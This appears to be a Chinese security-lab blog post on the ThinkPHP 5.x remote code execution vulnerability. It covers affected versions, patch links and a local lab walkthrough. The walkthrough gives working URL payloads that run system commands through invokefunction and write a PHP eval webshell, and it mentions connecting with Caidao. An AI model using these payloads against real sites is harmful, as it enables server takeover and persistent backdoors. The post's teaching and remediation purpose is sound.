thinkphp5+远程代码执行_ThinkPHP远程代码执行漏洞

网安引领时代,弥天点亮未来   

漏洞介绍

ThinkPHP是一个快速、简单的基于MVC和面向对象的轻量级PHP开发框架。

Thinkphp5.x版本中存在一个严重的远程代码执行漏洞。这个漏洞的主要原因是由于框架对控制器名没有进行足够的校验导致在没有开启强制路由的情况下可以构造恶意语句执行远程命令

影响范围

Thinkphp 5.1.0 - 5.1.31

Thinkphp 5.0.5 - 5.0.23

漏洞利用

环境介绍:

thinkphp5.0.22+php5.4.45+ apache2.4.23

1.首先搭建好相应的环境,页面访问如下:

84587ae0482271ab350520266cac4b4b.png

2.当看到框架为thinkphp5.x时,我们需要的就是验证是否存在远程代码执行漏洞

http:// localhost/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir

07bb0e3b0fb3507bc668141d03bd1d28.png

3.确认此处存在远程代码执行后,写入shell

http:// localhost/public/index.php?s =index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php  eval(@$_POST['a']); ?>

0cbfda45ec4f23ced29bd9967bcfbe12.png

4.尝试用菜刀进行连接,连接成功

458b057f9f52cefc19699f3b460d3330.png

当然这里我们也可以选择直接上传大马

800a9b32768dd98f0a4c991964062922.png

相比手工,我们也可以选择工具直接getshell都是可以的

009650cc4ce19e66bafb8d53bf73618b.png

修复建议

1、打补丁:

Thinkphp v5.0.x补丁地址:

https://github.com/top-think/framework/commit/b797d7235

2e6b4eb0e11b6bc2a2ef25907b7756f

Thinkphp v5.1.x补丁地址: 

https://github.com/top-think/framework/commit/802f284bec821a608e7543d91126ab

c5901b2815

2、更新框架版本

参考链接

exploit地址:

https://www.exploit-db.com/exploits/45978

框架下载地址:

http://www.thinkphp.cn/donate/download/id/1125.html

docker漏洞环境源码:

https://github.com/vulnspy/thinkphp-5.1.29

640 

     知识分享完了

喜欢别忘了关注我们哦~

予以风动,必降弥天之润!

   弥  天

安全实验室

94aad1db1d61b9a6e82cc8cb7d34a078.png
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值